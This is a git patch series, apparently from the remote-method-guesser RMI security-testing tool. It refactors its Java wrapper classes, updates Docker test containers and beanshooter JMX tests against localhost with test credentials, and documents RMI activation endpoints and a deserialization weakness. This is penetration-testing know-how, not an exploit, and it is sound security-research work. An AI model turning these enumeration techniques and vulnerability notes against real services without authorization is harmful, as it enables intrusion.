new TCPEndpoint(host, port, csf, null); return new UnicastRef(new LiveRef(objID, endpoint, false)); diff --git a/src/de/qtc/rmg/networking/RMIRegistryEndpoint.java b/src/de/qtc/rmg/networking/RMIRegistryEndpoint.java index be9b55f7..42e0e640 100644 --- a/src/de/qtc/rmg/networking/RMIRegistryEndpoint.java +++ b/src/de/qtc/rmg/networking/RMIRegistryEndpoint.java @@ -136,11 +136,8 @@ public RemoteObjectWrapper[] lookup(String[] boundNames) throws IllegalArgumentE { RemoteObjectWrapper[] remoteObjects = new RemoteObjectWrapper[boundNames.length]; - for(int ctr = 0; ctr < boundNames.length; ctr++) { - - Remote remoteObject = this.lookup(boundNames[ctr]); - remoteObjects[ctr] = RemoteObjectWrapper.getInstance(remoteObject, boundNames[ctr]); - } + for(int ctr = 0; ctr < boundNames.length; ctr++) + remoteObjects[ctr] = this.lookup(boundNames[ctr]); return remoteObjects; } @@ -151,8 +148,9 @@ public RemoteObjectWrapper[] lookup(String[] boundNames) throws IllegalArgumentE * * @param boundName name to lookup within the registry * @return Remote representing the requested remote object + * @throws Reflection related exceptions. RMI related once are caught and handeled directly */ - public Remote lookup(String boundName) + public RemoteObjectWrapper lookup(String boundName) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException { Remote remoteObject = remoteObjectCache.get(boundName); @@ -192,7 +190,7 @@ else if( cause instanceof SSRFException ) } } - return remoteObject; + return RemoteObjectWrapper.getInstance(remoteObject, boundName); } /** diff --git a/src/de/qtc/rmg/operations/Dispatcher.java b/src/de/qtc/rmg/operations/Dispatcher.java index 4b8450fb..dca6c739 100644 --- a/src/de/qtc/rmg/operations/Dispatcher.java +++ b/src/de/qtc/rmg/operations/Dispatcher.java @@ -549,7 +549,6 @@ public void dispatchEnum() public void dispatchGuess() { Formatter format = new Formatter(); - UnicastWrapper[] wrappers = RemoteObjectWrapper.getUnicastWrappers(remoteObjects); try { obtainBoundObjects(); @@ -558,6 +557,7 @@ public void dispatchGuess() ExceptionHandler.noSuchObjectException(e, "registry", true); } + UnicastWrapper[] wrappers = RemoteObjectWrapper.getUnicastWrappers(remoteObjects); MethodGuesser guesser = new MethodGuesser(wrappers, getCandidates()); guesser.printGuessingIntro(); diff --git a/src/de/qtc/rmg/operations/MethodGuesser.java b/src/de/qtc/rmg/operations/MethodGuesser.java index efc9f526..debdbc9d 100644 --- a/src/de/qtc/rmg/operations/MethodGuesser.java +++ b/src/de/qtc/rmg/operations/MethodGuesser.java @@ -15,7 +15,6 @@ import de.qtc.rmg.io.Logger; import de.qtc.rmg.utils.ProgressBar; import de.qtc.rmg.utils.RMGUtils; -import de.qtc.rmg.utils.RemoteObjectWrapper; import de.qtc.rmg.utils.UnicastWrapper; /** @@ -50,7 +49,7 @@ public class MethodGuesser { /** * To create a MethodGuesser you need to pass the references for remote objects you want to guess on. - * These are usually obtained from the RMI registry and can be passed as an array of RemoteObjectWrapper. + * These are usually obtained from the RMI registry and can be passed as an array of UnicastWrapper. * Furthermore, you need to specify a Set of MethodCandidates that represents the methods you want * to guess. * @@ -89,7 +88,7 @@ private List initClientList(UnicastWrapper[] remoteObjects) setPadding(remoteObjects); if( !RMGOption.GUESS_DUPLICATES.getBool() ) - remoteObjects = (UnicastWrapper[]) UnicastWrapper.handleDuplicates(remoteObjects); + remoteObjects = UnicastWrapper.handleDuplicates(remoteObjects); for( UnicastWrapper o : remoteObjects ) { @@ -97,7 +96,7 @@ private List initClientList(UnicastWrapper[] remoteObjects) remoteObjectClients.add(client); } - if( RemoteObjectWrapper.hasDuplicates(remoteObjects) ) + if( UnicastWrapper.hasDuplicates(remoteObjects) ) printDuplicates(remoteObjects); return remoteObjectClients; @@ -107,11 +106,11 @@ private List initClientList(UnicastWrapper[] remoteObjects) * This function is just used for displaying the result. It is called when iterating over the boundNames * and saves the length of the longest boundName. This is used as a padding value for the other boundNames. * - * @param remoteObjects List containing all RemoteObjectWrappers used during the guess operation + * @param remoteObjects List containing all UnicastWrapper used during the guess operation */ - private void setPadding(RemoteObjectWrapper[] remoteObjects) + private void setPadding(UnicastWrapper[] remoteObjects) { - for(RemoteObjectWrapper o : remoteObjects) { + for(UnicastWrapper o : remoteObjects) { if( padding < o.boundName.length() ) padding = o.boundName.length(); @@ -123,9 +122,9 @@ private void setPadding(RemoteObjectWrapper[] remoteObjects) * the same class / interface and that only one of them is used during method guessing. The * output is disabled by default and only enabled if --verbose was used. * - * @param remoteObjects List containing all RemoteObjectWrappers used during the guess operation + * @param remoteObjects List containing all UnicastWrapper used during the guess operation */ - private void printDuplicates(RemoteObjectWrapper[] remoteObjects) + private void printDuplicates(UnicastWrapper[] remoteObjects) { Logger.disableIfNotVerbose(); Logger.printInfoBox(); @@ -134,7 +133,7 @@ private void printDuplicates(RemoteObjectWrapper[] remoteObjects) Logger.lineBreak(); Logger.increaseIndent(); - for( RemoteObjectWrapper remoteObject : remoteObjects ) { + for( UnicastWrapper remoteObject : remoteObjects ) { String[] duplicates = remoteObject.getDuplicateBoundNames(); @@ -169,7 +168,7 @@ private void printDuplicates(RemoteObjectWrapper[] remoteObjects) */ private UnicastWrapper[] handleKnownMethods(UnicastWrapper[] remoteObjects) { - ArrayList unknown = new ArrayList(); + ArrayList unknown = new ArrayList(); for(UnicastWrapper o : remoteObjects) { diff --git a/src/de/qtc/rmg/operations/RemoteObjectClient.java b/src/de/qtc/rmg/operations/RemoteObjectClient.java index 7c63d92b..9ae8306b 100644 --- a/src/de/qtc/rmg/operations/RemoteObjectClient.java +++ b/src/de/qtc/rmg/operations/RemoteObjectClient.java @@ -1,8 +1,6 @@ package de.qtc.rmg.operations; -import java.rmi.Remote; import java.rmi.server.ObjID; -import java.rmi.server.RemoteRef; import java.util.ArrayList; import java.util.Collections; import java.util.Iterator; @@ -18,11 +16,12 @@ import de.qtc.rmg.networking.RMIRegistryEndpoint; import de.qtc.rmg.utils.DefinitelyNonExistingClass; import de.qtc.rmg.utils.RMGUtils; -import de.qtc.rmg.utils.RemoteObjectWrapper; import de.qtc.rmg.utils.UnicastWrapper; import javassist.CannotCompileException; import javassist.CtClass; import javassist.NotFoundException; +import sun.rmi.server.UnicastRef; + /** * The RemoteObjectClient class is used for method guessing and communication to user defined remote objects. @@ -31,17 +30,18 @@ * * @author Tobias Neitzel (@qtc_de) */ +@SuppressWarnings("restriction") public class RemoteObjectClient { private ObjID objID; - private RemoteRef remoteRef; + private UnicastRef remoteRef; private RMIEndpoint rmi; private String boundName; private String randomClassName; - public RemoteObjectWrapper remoteObject; + public UnicastWrapper remoteObject; public List remoteMethods; /** @@ -80,9 +80,9 @@ public RemoteObjectClient(RMIEndpoint rmiEndpoint, ObjID objID) /** * If you already obtained a reference to the remote object, you can also use it directly - * in form of passing an RemoteObjectWrapper. + * in form of passing an UnicastWrapper. * - * @param remoteObject Previously obtained remote reference contained in a RemoteObjectWrapper + * @param remoteObject Previously obtained remote reference contained in a UnicastWrapper */ public RemoteObjectClient(UnicastWrapper remoteObject) { @@ -96,22 +96,22 @@ public RemoteObjectClient(UnicastWrapper remoteObject) } /** - * When a RemoteObjectClient was obtained using an ObjID, it has no assigned RemoteObjectWrapper. - * remote-method-guesser only creates a RemoteRef using the endpoint information and the ObjID, - * which is sufficient for RMI calls. Constructing a RemoteObject from a RemoteRef is easily + * When a RemoteObjectClient was obtained using an ObjID, it has no assigned UnicastWrapper. + * remote-method-guesser only creates a UnicastRef using the endpoint information and the ObjID, + * which is sufficient for RMI calls. Constructing a RemoteObject from a UnicastRef is easily * possible, but it is only useful when also the implemented remote interface is known. * - * This functions lets you create a RemoteObjectWrapper (RemoteObject) that is based on the already - * constructed RemoteRef and implements the specified interface. + * This functions creates a UnicastWrapper (RemoteObject) that is based on the already + * constructed UnicastRef and implements the specified interface. * * @param intf Interface implemented by the RemoteObject */ - public RemoteObjectWrapper assignInterface(Class intf) + public UnicastWrapper assignInterface(Class intf) { - RemoteObjectWrapper remoteObject = null; + UnicastWrapper remoteObject = null; try { - remoteObject = RemoteObjectWrapper.fromRef(remoteRef, intf); + remoteObject = UnicastWrapper.fromRef(remoteRef, intf); this.remoteObject = remoteObject; } catch (IllegalArgumentException | IllegalAccessException | NoSuchFieldException | SecurityException e) { @@ -352,7 +352,7 @@ private void printGadgetIntro(MethodCandidate targetMethod, int attackArgument) * * @return Remote reference to the target object */ - private RemoteRef getRemoteRefByObjID() + private UnicastRef getRemoteRefByObjID() { if(objID == null) ExceptionHandler.internalError("getRemoteRefByObjID", "Function was called with missing objID."); @@ -367,25 +367,21 @@ private RemoteRef getRemoteRefByObjID() * * @return Remote reference to the target object */ - private RemoteRef getRemoteRefByName() + private UnicastRef getRemoteRefByName() { if(boundName == null || !(rmi instanceof RMIRegistryEndpoint)) ExceptionHandler.internalError("getRemoteRefByName", "Function was called without the required fields."); - RemoteRef remoteRef = null; RMIRegistryEndpoint rmiReg = (RMIRegistryEndpoint)rmi; try { - Remote instance = rmiReg.lookup(boundName); - remoteRef = RMGUtils.extractRef(instance); - - this.remoteObject = RemoteObjectWrapper.getInstance(instance, boundName); + remoteObject = rmiReg.lookup(boundName).getUnicastWrapper(); } catch(Exception e) { ExceptionHandler.unexpectedException(e, "remote reference lookup", "operation", true); } - return remoteRef; + return remoteObject.unicastRef; } /** diff --git a/src/de/qtc/rmg/utils/EmptyWrapper.java b/src/de/qtc/rmg/utils/EmptyWrapper.java new file mode 100644 index 00000000..deb7fa7a --- /dev/null +++ b/src/de/qtc/rmg/utils/EmptyWrapper.java @@ -0,0 +1,23 @@ +package de.qtc.rmg.utils; + +/** + * EmptyWrapper is basically a dummy class that extends RemoteWrapper. It is only used + * during the enum action as a container for the obtained bound names. In previous versions + * of remote-method-guesser, an instance of RemoteObjectWrapper was directly used for this + * purpose, but since critical properties like the associated remote object are missing, this + * class was created to make it more transparent that this is not a fully working wrapper. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class EmptyWrapper extends RemoteObjectWrapper +{ + /** + * Create an EmptyWrapper by simply using RemoteObjectWrappers boundName constructor. + * + * @param boundName the bound name to associate with the wrapper + */ + public EmptyWrapper(String boundName) + { + super(boundName); + } +} \ No newline at end of file diff --git a/src/de/qtc/rmg/utils/RemoteObjectWrapper.java b/src/de/qtc/rmg/utils/RemoteObjectWrapper.java index 45c7b3a5..204a2c5e 100644 --- a/src/de/qtc/rmg/utils/RemoteObjectWrapper.java +++ b/src/de/qtc/rmg/utils/RemoteObjectWrapper.java @@ -1,15 +1,12 @@ package de.qtc.rmg.utils; -import java.lang.reflect.Proxy; import java.rmi.Remote; -import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.server.RemoteRef; -import java.util.ArrayList; -import java.util.List; import de.qtc.rmg.endpoints.KnownEndpoint; import de.qtc.rmg.endpoints.KnownEndpointHolder; import de.qtc.rmg.internal.ExceptionHandler; +import javassist.tools.reflect.Reflection; import sun.rmi.server.UnicastRef; /** @@ -24,15 +21,13 @@ * @author Tobias Neitzel (@qtc_de) */ @SuppressWarnings("restriction") -public class RemoteObjectWrapper +public abstract class RemoteObjectWrapper { public String className; public String boundName; public Remote remoteObject; public KnownEndpoint knownEndpoint; - public List duplicates; - /** * This constructor is only used for special purposes during the enum action. The resulting * RemoteObjectWrapper is not fully functional and should not be used for other purposes than @@ -60,7 +55,6 @@ public RemoteObjectWrapper(String boundName, Remote remoteObject) this.remoteObject = remoteObject; this.className = RMGUtils.getClassName(remoteObject); - this.duplicates = new ArrayList(); this.knownEndpoint = KnownEndpointHolder.getHolder().lookup(className); } @@ -103,65 +97,6 @@ else if (ref.getClass().getName().contains("ActivatableRef")) return wrapper; } - /** - * Create a new RemoteObjectWrapper from a RemoteRef. This function creates a Proxy that implements - * the specified interface and uses a RemoteObjectInvocationHandler to forward method invocations to - * the specified RemoteRef. - * - * @param remoteRef RemoteRef to the targeted RemoteObject - * @param intf Interface that is implemented by the RemoteObject - * @throws many Exceptions... - */ - public static RemoteObjectWrapper fromRef(RemoteRef remoteRef, Class intf) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException - { - if( !Remote.class.isAssignableFrom(intf) ) - ExceptionHandler.internalError("RemoteObjectWrapper.fromRef", "Specified interface is not valid"); - - RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(remoteRef); - Remote remoteObject = (Remote)Proxy.newProxyInstance(intf.getClassLoader(), new Class[] { intf }, remoteObjectInvocationHandler); - - return RemoteObjectWrapper.getInstance(remoteObject); - } - - /** - * Checks whether the Wrapper has any duplicates (other remote objects that implement the same - * remote interface). - * - * @return true if duplicates are present - */ - public boolean hasDuplicates() - { - if( this.duplicates.size() == 0 ) - return false; - - return true; - } - - /** - * Add a duplicate to the RemoteObjectWrapper. This should be a wrapper that implements the same - * remote interface as the original wrapper. - * - * @param o duplicate RemoteObjectWrapper that implements the same remote interface - */ - public void addDuplicate(RemoteObjectWrapper o) - { - this.duplicates.add(o); - } - - /** - * Iterates over the list of registered duplicates and returns the associated bound names as an array. - * - * @return array of String that contains duplicate bound names - */ - public String[] getDuplicateBoundNames() - { - List duplicateNames = new ArrayList(); - - for(RemoteObjectWrapper o : this.duplicates) - duplicateNames.add(o.boundName); - - return duplicateNames.toArray(new String[0]); - } /** * Searches a supplied list of RemoteObjectWrapper objects for the Wrapper that is associated to the @@ -182,50 +117,6 @@ public static RemoteObjectWrapper getByName(String boundName, RemoteObjectWrappe return null; } - /** - * Takes a list of RemoteObjectWrappers and looks for duplicates within it. The return value - * is a list of unique RemoteObjectWrappers that have the corresponding duplicates assigned. - * - * @param list RemoteObjectWrappers to search for duplicates - * @return Unique RemoteObjectWrappers with duplicates assigned - */ - public static RemoteObjectWrapper[] handleDuplicates(RemoteObjectWrapper[] list) - { - List unique = new ArrayList(); - - outer: for(RemoteObjectWrapper current : list) { - - for(RemoteObjectWrapper other : unique) { - - if(other.className.equals(current.className)) { - other.addDuplicate(current); - continue outer; - } - } - - unique.add(current); - } - - return unique.toArray(new RemoteObjectWrapper[0]); - } - - /** - * Takes a list of RemoteObjectWrappers and checks whether one of them contains duplicates. - * - * @param list RemoteObjectWrappers to check for duplicates - * @return true if at least one RemoteObjectWrapper contains a duplicate - */ - public static boolean hasDuplicates(RemoteObjectWrapper[] list) - { - for(RemoteObjectWrapper o : list) { - - if( o.hasDuplicates() ) - return true; - } - - return false; - } - /** * Creates an array of RemoteObjectWrapper from an array of bound names. The resulting RemoteObjectWrappers * are dummy objects that just contain the associated bound name. This should only be used during rmg's enum @@ -239,7 +130,7 @@ public static RemoteObjectWrapper[] fromBoundNames(String[] boundNames) RemoteObjectWrapper[] returnValue = new RemoteObjectWrapper[boundNames.length]; for(int ctr = 0; ctr < boundNames.length; ctr++) - returnValue[ctr] = new RemoteObjectWrapper(boundNames[ctr]); + returnValue[ctr] = new EmptyWrapper(boundNames[ctr]); return returnValue; } @@ -257,6 +148,30 @@ public boolean isKnown() return true; } + /** + * Transform an RemoteObjectWrapper into a UnicastWrapper. If the RemoteObjectWrapper is already + * a UnicastWrapper, it is simply returned. If it is an ActivatableWrapper instead, it is activated. + * + * @return UnicastWrapper + */ + public UnicastWrapper getUnicastWrapper() + { + UnicastWrapper returnValue = null; + + if (this instanceof UnicastWrapper) + returnValue = (UnicastWrapper)this; + + else + + try { + returnValue = ((ActivatableWrapper)this).activate(); + } catch (IllegalArgumentException | IllegalAccessException | NoSuchFieldException | SecurityException e) { + ExceptionHandler.unexpectedException(e, "activate", "call", true); + } + + return returnValue; + } + /** * Transform an array of RemoteObjectWrapper into an array of UnicastWrapper. If an * element is already a UnicastWrapper, it is simply returned. ActivatableWrappers, on diff --git a/src/de/qtc/rmg/utils/UnicastWrapper.java b/src/de/qtc/rmg/utils/UnicastWrapper.java index ed7cf172..ee543fd0 100644 --- a/src/de/qtc/rmg/utils/UnicastWrapper.java +++ b/src/de/qtc/rmg/utils/UnicastWrapper.java @@ -1,14 +1,19 @@ package de.qtc.rmg.utils; import java.lang.reflect.Field; +import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.server.ObjID; import java.rmi.server.RMIClientSocketFactory; import java.rmi.server.RMIServerSocketFactory; import java.rmi.server.RMISocketFactory; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.ArrayList; +import java.util.List; import javax.rmi.ssl.SslRMIClientSocketFactory; +import de.qtc.rmg.internal.ExceptionHandler; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; @@ -28,6 +33,8 @@ public class UnicastWrapper extends RemoteObjectWrapper public final RMIClientSocketFactory csf; public final RMIServerSocketFactory ssf; + public List duplicates; + /** * Create a new UnicastWrapper from a RemoteObject. The third argument seems superfluous, as the * UnicastRef is already contained within the remote object. However, UnicastWrappers should be @@ -46,15 +53,16 @@ public UnicastWrapper(Remote remoteObject, String boundName, UnicastRef ref) thr this.unicastRef = ref; LiveRef lRef = unicastRef.getLiveRef(); + duplicates = new ArrayList(); Field endpointField = LiveRef.class.getDeclaredField("ep"); endpointField.setAccessible(true); - this.objID = lRef.getObjID(); - this.endpoint = (TCPEndpoint)endpointField.get(lRef); + objID = lRef.getObjID(); + endpoint = (TCPEndpoint)endpointField.get(lRef); - this.csf = lRef.getClientSocketFactory(); - this.ssf = lRef.getServerSocketFactory(); + csf = lRef.getClientSocketFactory(); + ssf = lRef.getServerSocketFactory(); } /** @@ -113,4 +121,108 @@ public int isTLSProtected() return 0; } + + /** + * Checks whether the Wrapper has any duplicates (other remote objects that implement the same + * remote interface). + * + * @return true if duplicates are present + */ + public boolean hasDuplicates() + { + if( this.duplicates.size() == 0 ) + return false; + + return true; + } + + /** + * Add a duplicate to the UnicastWrapper. This should be a wrapper that implements the same + * remote interface as the original wrapper. + * + * @param o duplicate UnicastWrapper that implements the same remote interface + */ + public void addDuplicate(UnicastWrapper o) + { + this.duplicates.add(o); + } + + /** + * Iterates over the list of registered duplicates and returns the associated bound names as an array. + * + * @return array of String that contains duplicate bound names + */ + public String[] getDuplicateBoundNames() + { + List duplicateNames = new ArrayList(); + + for(UnicastWrapper o : this.duplicates) + duplicateNames.add(o.boundName); + + return duplicateNames.toArray(new String[0]); + } + + /** + * Create a new UnicastWrapper from a RemoteRef. This function creates a Proxy that implements + * the specified interface and uses a RemoteObjectInvocationHandler to forward method invocations to + * the specified RemoteRef. + * + * @param remoteRef RemoteRef to the targeted RemoteObject + * @param intf Interface that is implemented by the RemoteObject + * @throws many Exceptions... + */ + public static UnicastWrapper fromRef(UnicastRef unicastRef, Class intf) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException + { + if( !Remote.class.isAssignableFrom(intf) ) + ExceptionHandler.internalError("UnicastWrapper.fromRef", "Specified interface is not valid"); + + RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef); + Remote remoteObject = (Remote)Proxy.newProxyInstance(intf.getClassLoader(), new Class[] { intf }, remoteObjectInvocationHandler); + + return new UnicastWrapper(remoteObject, null, unicastRef); + } + + /** + * Takes a list of UnicastWrapper and looks for duplicates within it. The return value + * is a list of unique UnicastWrapper that have the corresponding duplicates assigned. + * + * @param list UnicastWrapper to search for duplicates + * @return Unique UnicastWrapper with duplicates assigned + */ + public static UnicastWrapper[] handleDuplicates(UnicastWrapper[] list) + { + List unique = new ArrayList(); + + outer: for(UnicastWrapper current : list) { + + for(UnicastWrapper other : unique) { + + if(other.className.equals(current.className)) { + other.addDuplicate(current); + continue outer; + } + } + + unique.add(current); + } + + return unique.toArray(new UnicastWrapper[0]); + } + + /** + * Takes a list of UnicastWrapper and checks whether one of them contains duplicates. + * + * @param list UnicastWrapper to check for duplicates + * @return true if at least one UnicastWrapper contains a duplicate + */ + public static boolean hasDuplicates(UnicastWrapper[] list) + { + for(UnicastWrapper o : list) { + + if( o.hasDuplicates() ) + return true; + } + + return false; + } } From c94d796d27636e591094e006a8255c83707a5bbc Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Sun, 8 May 2022 08:04:01 +0200 Subject: [PATCH 09/19] [docker] Update container versions --- docker/example-server/CHANGELOG.md | 2 +- docker/example-server/docker-compose-jdk11.yml | 2 +- docker/example-server/docker-compose-jdk8.yml | 2 +- docker/example-server/docker-compose-jdk9.yml | 2 +- docker/ssrf-server/CHANGELOG.md | 2 +- tests/generic/tests/rogue-jmx.yml | 2 +- .../generic/tests/rogue-jmx/rogue-jmx-child.yml | 17 +++++++++-------- tests/jdk11/jdk11.yml | 2 +- tests/jdk8/jdk8.yml | 3 +-- tests/jdk9/jdk9.yml | 2 +- 10 files changed, 18 insertions(+), 18 deletions(-) diff --git a/docker/example-server/CHANGELOG.md b/docker/example-server/CHANGELOG.md index ce411f88..7cc19c9a 100644 --- a/docker/example-server/CHANGELOG.md +++ b/docker/example-server/CHANGELOG.md @@ -6,7 +6,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -## [3.3] - May XX, 2022 +## [3.3] - May 08, 2022 ### Changed diff --git a/docker/example-server/docker-compose-jdk11.yml b/docker/example-server/docker-compose-jdk11.yml index 5b5e0c5d..a87af261 100644 --- a/docker/example-server/docker-compose-jdk11.yml +++ b/docker/example-server/docker-compose-jdk11.yml @@ -2,7 +2,7 @@ version: '3.7' services: rmg: - image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk11 + image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.3-jdk11 build: . environment: - > diff --git a/docker/example-server/docker-compose-jdk8.yml b/docker/example-server/docker-compose-jdk8.yml index 1241e2dc..3d50a355 100644 --- a/docker/example-server/docker-compose-jdk8.yml +++ b/docker/example-server/docker-compose-jdk8.yml @@ -2,7 +2,7 @@ version: '3.7' services: rmg: - image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk8 + image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.3-jdk8 build: . environment: - > diff --git a/docker/example-server/docker-compose-jdk9.yml b/docker/example-server/docker-compose-jdk9.yml index 0863a422..73a9a1fa 100644 --- a/docker/example-server/docker-compose-jdk9.yml +++ b/docker/example-server/docker-compose-jdk9.yml @@ -2,7 +2,7 @@ version: '3.7' services: rmg: - image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk9 + image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.3-jdk9 build: . environment: - > diff --git a/docker/ssrf-server/CHANGELOG.md b/docker/ssrf-server/CHANGELOG.md index f0ec2172..c8b59669 100644 --- a/docker/ssrf-server/CHANGELOG.md +++ b/docker/ssrf-server/CHANGELOG.md @@ -6,7 +6,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -## [1.3] - May XX, 2022 +## [1.3] - May 08, 2022 ### Changed diff --git a/tests/generic/tests/rogue-jmx.yml b/tests/generic/tests/rogue-jmx.yml index 4512f99d..e4560d81 100644 --- a/tests/generic/tests/rogue-jmx.yml +++ b/tests/generic/tests/rogue-jmx.yml @@ -12,7 +12,7 @@ tester: containers: - name: 'rmg-ssrf' - image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-ssrf-server:1.2' + image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-ssrf-server:1.3' network_mode: host diff --git a/tests/generic/tests/rogue-jmx/rogue-jmx-child.yml b/tests/generic/tests/rogue-jmx/rogue-jmx-child.yml index eab280de..bca36ce3 100644 --- a/tests/generic/tests/rogue-jmx/rogue-jmx-child.yml +++ b/tests/generic/tests/rogue-jmx/rogue-jmx-child.yml @@ -67,19 +67,21 @@ tests: command: - beanshooter + - enum - 127.0.0.1 - 1090 - - status - --username - admin - --password - s3crEt! + - --no-color validators: - - error: True + - error: False - contains: values: - - 'Authentication failed!' + - 'Caught AuthenticationException during login attempt' + - 'Configuration Status: Undecided' - file_contains: - file: ${JMX_LOG_1} contains: @@ -112,22 +114,21 @@ tests: command: - beanshooter + - enum - 127.0.0.1 - 1090 - - status - --username - admin - --password - s3crEt! + - --no-color validators: - error: False - contains: values: - - 'Getting Status of MLet... done!' - - 'MLet is not registered on the JMX server.' - - 'Getting Status of malicious Bean... done!' - - 'Malicious MBean is not registered on the JMX server.' + - 'Login successful! The specified credentials are correct.' + - '22 MBeans are currently registred on the MBean server.' - file_contains: - file: ${JMX_LOG_2} diff --git a/tests/jdk11/jdk11.yml b/tests/jdk11/jdk11.yml index 395bb9eb..0bb6e54f 100644 --- a/tests/jdk11/jdk11.yml +++ b/tests/jdk11/jdk11.yml @@ -10,7 +10,7 @@ tester: containers: - name: 'rmg-jdk11' - image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk11' + image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.3-jdk11' volumes: - '${volume}:${volume-d}' aliases: diff --git a/tests/jdk8/jdk8.yml b/tests/jdk8/jdk8.yml index d87539b4..de559702 100644 --- a/tests/jdk8/jdk8.yml +++ b/tests/jdk8/jdk8.yml @@ -3,7 +3,6 @@ tester: description: |- 'Launches some tests for jdk8 based on the rmg-example-server.' - id: '001' groups: - jdk8 @@ -11,7 +10,7 @@ tester: containers: - name: 'rmg-jdk8' - image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk8' + image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.3-jdk8' volumes: - '${volume}:${volume-d}' aliases: diff --git a/tests/jdk9/jdk9.yml b/tests/jdk9/jdk9.yml index fce65fd1..8280e2b6 100644 --- a/tests/jdk9/jdk9.yml +++ b/tests/jdk9/jdk9.yml @@ -10,7 +10,7 @@ tester: containers: - name: 'rmg-jdk9' - image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk9' + image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.3-jdk9' volumes: - '${volume}:${volume-d}' aliases: From f4eaa78855545edffc2d1d32af55003ba5fc1d10 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Mon, 9 May 2022 07:24:39 +0200 Subject: [PATCH 10/19] Update known-endpoints --- docs/rmi/known-endpoints.md | 86 +++++++++++++++++-- resources/known-endpoints/known-endpoints.yml | 70 +++++++++++++-- 2 files changed, 145 insertions(+), 11 deletions(-) diff --git a/docs/rmi/known-endpoints.md b/docs/rmi/known-endpoints.md index 7e22900a..77773cb7 100644 --- a/docs/rmi/known-endpoints.md +++ b/docs/rmi/known-endpoints.md @@ -151,24 +151,98 @@ * [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) -### RMI Activator +### RMI Activation Group --- -* Name: `RMI Activator` +* Name: `RMI Activation Group` +* Class Names: + * `java.rmi.activation.ActivationGroup_Stub` + * `java.rmi.activation.ActivationGroup` + * `java.rmi.activation.ActivationInstantiator` +* Description: + + > Remote object that is associated with an ActivationGroup. Can be used to create new instances of activatable + > objects that are registered within the group. The activation system was deprecated and removed in 2021. + +* Remote Methods: + + ```java + java.rmi.MarshalledObject newInstance(java.rmi.activation.ActivationID id, java.rmi.activation.ActivationDesc desc) + ``` +* References: + * [https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html](https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html) + * [https://github.com/openjdk/jdk/tree/ed477da9c69bbb4bae3c9e5bc80b67dcfc31b2b1/src/java.rmi/share/classes/sun/rmi/server](https://github.com/openjdk/jdk/tree/ed477da9c69bbb4bae3c9e5bc80b67dcfc31b2b1/src/java.rmi/share/classes/sun/rmi/server) +* Known Vulnerabilities: + + * Deserialization + * Description: + + > ActivationGroup remote objects do not use a deserialization filter. + * References: + * [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) + + +### RMI Activation System + +--- + +* Name: `RMI Activation System` * Class Names: * `sun.rmi.server.Activation$ActivationSystemImpl_Stub` + * `java.rmi.activation.ActivationSystem` * Description: > The activation system is a legacy component of Java RMI. It allows remote objects to become inactive - > and allows clients to activate them when required. The activation system has been removed from newer - > versions of Java. Due to the legacy status and the rare usage in practice, the activation system never - > got the JEP290 proposals implemented. + > and allows clients to activate them when required. The ActivationSystemImpl remote object can be + > understood as a management interface for activation. It is only accessible from localhost and this + > restriction cannot be bypassed by the --localhost-bypass option. By accessing the ActivationSystemImpl, + > it is possible to register new activatable objects and activation groups. The activation system was + > deprecated and removed in 2021. + +* Remote Methods: + + ```java + java.rmi.activation.ActivationID registerObject(java.rmi.activation.ActivationDesc arg) + void unregisterObject(java.rmi.activation.ActivationID arg) + java.rmi.activation.ActivationGroupID registerGroup(java.rmi.activation.ActivationGroupDesc arg) + java.rmi.activation.ActivationMonitor activeGroup(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationInstantiator arg, long arg) + void unregisterGroup(java.rmi.activation.ActivationGroupID arg) + void shutdown() + java.rmi.activation.ActivationDesc setActivationDesc(java.rmi.activation.ActivationID arg, java.rmi.activation.ActivationDesc arg) + java.rmi.activation.ActivationGroupDesc setActivationGroupDesc(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationGroupDesc arg) + java.rmi.activation.ActivationDesc getActivationDesc(java.rmi.activation.ActivationID arg) + java.rmi.activation.ActivationGroupDesc getActivationGroupDesc(java.rmi.activation.ActivationGroupID arg) + ``` +* References: + * [https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html](https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html) + * 